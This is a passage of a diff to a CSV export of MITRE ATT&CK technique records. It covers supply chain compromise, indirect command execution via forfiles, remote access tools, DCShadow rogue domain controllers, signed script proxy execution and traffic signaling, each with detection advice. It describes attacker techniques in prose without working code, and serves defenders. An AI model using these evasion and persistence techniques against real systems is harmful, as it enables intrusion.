CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)",attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7,attack-pattern,['initial-access'],2021-01-06T19:32:28.382Z,2018-04-18T17:59:24.739Z,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.,,['Veeral Patel'],,,"['Linux', 'Windows', 'macOS']",,CAPEC-439,https://capec.mitre.org/data/definitions/439.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1204', 'url': 'https://attack.mitre.org/techniques/T1204'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.3,False,https://attack.mitre.org/techniques/T1204,mitre-attack,T1204,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,User Execution,"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). +Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",False,,"['Windows', 'Linux', 'macOS']",,CAPEC-440,https://capec.mitre.org/data/definitions/440.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1202', 'external_id': 'T1202'}, {'source_name': 'VectorSec ForFiles Aug 2017', 'description': 'vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.', 'url': 'https://twitter.com/vector_sec/status/896049052642533376'}, {'source_name': 'Evi1cg Forfiles Nov 2017', 'description': 'Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.', 'url': 'https://twitter.com/Evi1cg/status/935027922397573120'}, {'source_name': 'RSA Forfiles Aug 2017', 'description': 'Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.', 'url': 'https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe'}]",1.1,attack-pattern,attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-06-20T22:09:22.559Z,Indirect Command Execution,"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) -While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5,attack-pattern,['execution'],2021-04-20T16:34:09.236Z,2018-04-18T17:59:24.739Z,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. +Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.",['defense-evasion'],https://attack.mitre.org/techniques/T1202,mitre-attack,T1202,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Command: Command Execution']","['Static File Analysis', 'Application control', 'Application control by file name or path']","Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1219', 'external_id': 'T1219'}, {'source_name': 'Symantec Living off the Land', 'description': 'Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.', 'url': 'https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf'}, {'source_name': 'CrowdStrike 2015 Global Threat Report', 'description': 'CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf'}, {'source_name': 'CrySyS Blog TeamSpy', 'description': 'CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018.', 'url': 'https://blog.crysys.hu/2013/03/teamspy/'}]",2.0,attack-pattern,attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2020-06-20T20:42:37.320Z,Remote Access Software,"An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) -Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","['Application Log: Application Log Content', 'Instance: Instance Start', 'Instance: Instance Creation', 'Image: Image Creation', 'Command: Command Execution', 'Container: Container Start', 'Container: Container Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Process: Process Creation']","['Oleg Skulkin, Group-IB']",,['User'],"['Linux', 'Windows', 'macOS', 'IaaS', 'Containers']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1203', 'external_id': 'T1203'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.1,False,https://attack.mitre.org/techniques/T1203,mitre-attack,T1203,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation for Client Execution,"Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. +Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. -Several types exist: +Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)",['command-and-control'],https://attack.mitre.org/techniques/T1219,mitre-attack,T1219,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Kelly, @breakersall']","['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. -### Browser-based Exploitation +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. -Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. +[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",False,['User'],"['Linux', 'Windows', 'macOS']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1207', 'external_id': 'T1207'}, {'source_name': 'DCShadow Blog', 'description': 'Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.', 'url': 'https://www.dcshadow.com/'}, {'source_name': 'Adsecurity Mimikatz Guide', 'description': 'Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?page_id=1821'}, {'source_name': 'GitHub DCSYNCMonitor', 'description': 'Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.', 'url': 'https://github.com/shellster/DCSYNCMonitor'}, {'source_name': 'Microsoft DirSync', 'description': 'Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.', 'url': 'https://msdn.microsoft.com/en-us/library/ms677626.aspx'}, {'source_name': 'ADDSecurity DCShadow Feb 2018', 'description': 'Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.', 'url': 'https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html'}]",2.0,attack-pattern,attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-02-09T15:13:27.670Z,Rogue Domain Controller,"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. -### Office Applications +Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) -Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. +This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",['defense-evasion'],https://attack.mitre.org/techniques/T1207,mitre-attack,T1207,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Vincent Le Toux'],"['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Log analysis'],"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) -### Common Third-party Applications +Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) -Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63,attack-pattern,['execution'],2020-03-28T19:06:02.690Z,2018-04-18T17:59:24.739Z,"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",,,,,"['Linux', 'Windows', 'macOS']",True,,,['Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1218', 'url': 'https://attack.mitre.org/techniques/T1218'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.1,False,https://attack.mitre.org/techniques/T1218,mitre-attack,T1218,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Signed Binary Proxy Execution,Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.,attack-pattern--457c7820-d331-465a-915e-42f85500ccc4,attack-pattern,['defense-evasion'],2021-01-20T18:12:12.134Z,2018-04-18T17:59:24.739Z,"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. +Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog) -Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.","['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Connection Creation']","['Nishan Maharjan, @loki248', 'Hans Christoffer Gaardløs', 'Praetorian']","['Anti-virus', 'Application control', 'Digital Certificate Validation']","['User', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1205', 'url': 'https://attack.mitre.org/techniques/T1205'}, {'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'source_name': 'Hartrell cd00r 2002'}, {'source_name': 'Cisco Synful Knock Evolution', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.'}, {'source_name': 'FireEye - Synful Knock', 'url': 'https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html', 'description': 'Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.'}, {'source_name': 'Bleeping Computer - Ryuk WoL', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.'}, {'source_name': 'AMD Magic Packet', 'url': 'https://www.amd.com/system/files/TechDocs/20213.pdf', 'description': 'AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.'}, {'source_name': 'GitLab WakeOnLAN', 'url': 'https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN', 'description': 'Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]",2.2,False,https://attack.mitre.org/techniques/T1205,mitre-attack,T1205,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Traffic Signaling,"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. +Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",False,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1216', 'external_id': 'T1216'}, {'source_name': 'GitHub Ultimate AppLocker Bypass List', 'description': 'Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', 'url': 'https://github.com/api0cradle/UltimateAppLockerByPassList'}]",1.1,attack-pattern,attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-09-01T00:57:01.576Z,Signed Script Proxy Execution,Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List),['defense-evasion'],https://attack.mitre.org/techniques/T1216,mitre-attack,T1216,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']","['Application control', 'Digital Certificate Validation']","Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",False,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1205', 'external_id': 'T1205'}, {'source_name': 'Hartrell cd00r 2002', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'FireEye - Synful Knock', 'description': 'Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'}, {'source_name': 'AMD Magic Packet', 'description': 'AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.', 'url': 'https://www.amd.com/system/files/TechDocs/20213.pdf'}, {'source_name': 'GitLab WakeOnLAN', 'description': 'Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.', 'url': 'https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN'}]",2.2,attack-pattern,attack-pattern--451a9977-d255-43c9-b431-66de80130c8c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-02-17T14:23:49.495Z,Traffic Signaling,"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). @@ -2971,11 +3204,10 @@ The observation of the signal packets to trigger the communication can be conduc On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. -Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)",attack-pattern--451a9977-d255-43c9-b431-66de80130c8c,attack-pattern,"['defense-evasion', 'persistence', 'command-and-control']",2021-02-17T14:23:49.495Z,2018-04-18T17:59:24.739Z,"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. +Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)","['defense-evasion', 'persistence', 'command-and-control']",https://attack.mitre.org/techniques/T1205,mitre-attack,T1205,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Josh Day, Gigamon']","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",['Defensive network service scanning'],"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. -The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Josh Day, Gigamon']",['Defensive network service scanning'],['User'],"['Linux', 'macOS', 'Windows', 'Network']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1216', 'url': 'https://attack.mitre.org/techniques/T1216'}, {'url': 'https://github.com/api0cradle/UltimateAppLockerByPassList', 'description': 'Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', 'source_name': 'GitHub Ultimate AppLocker Bypass List'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1216,mitre-attack,T1216,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Signed Script Proxy Execution,Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List),attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe,attack-pattern,['defense-evasion'],2020-06-20T22:39:47.559Z,2018-04-18T17:59:24.739Z,"Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']",['Praetorian'],"['Application control', 'Digital Certificate Validation']",['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1176', 'url': 'https://attack.mitre.org/techniques/T1176'}, {'url': 'https://en.wikipedia.org/wiki/Browser_extension', 'description': 'Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.', 'source_name': 'Wikipedia Browser Extension'}, {'url': 'https://developer.chrome.com/extensions', 'description': 'Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.', 'source_name': 'Chrome Extensions Definition'}, {'url': 'https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf', 'description': 'Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.', 'source_name': 'Malicious Chrome Extension Numbers'}, {'source_name': 'xorrior chrome extensions macOS', 'url': 'https://www.xorrior.com/No-Place-Like-Chrome/', 'description': 'Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.'}, {'url': 'https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/', 'description': 'Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.', 'source_name': 'Chrome Extension Crypto Miner'}, {'url': 'https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses', 'description': 'De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', 'source_name': 'ICEBRG Chrome Extensions'}, {'url': 'https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/', 'description': 'Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.', 'source_name': 'Banker Google Chrome Extension Steals Creds'}, {'url': 'https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)', 'description': 'Marinho, R. (n.d.). ""Catch-All"" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.', 'source_name': 'Catch All Chrome Extension'}, {'url': 'https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/', 'description': 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.', 'source_name': 'Stantinko Botnet'}, {'url': 'https://kjaer.io/extension-malware/', 'description': 'Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.', 'source_name': 'Chrome Extension C2 Malware'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.2,False,https://attack.mitre.org/techniques/T1176,mitre-attack,T1176,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Browser Extensions,"Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) +The 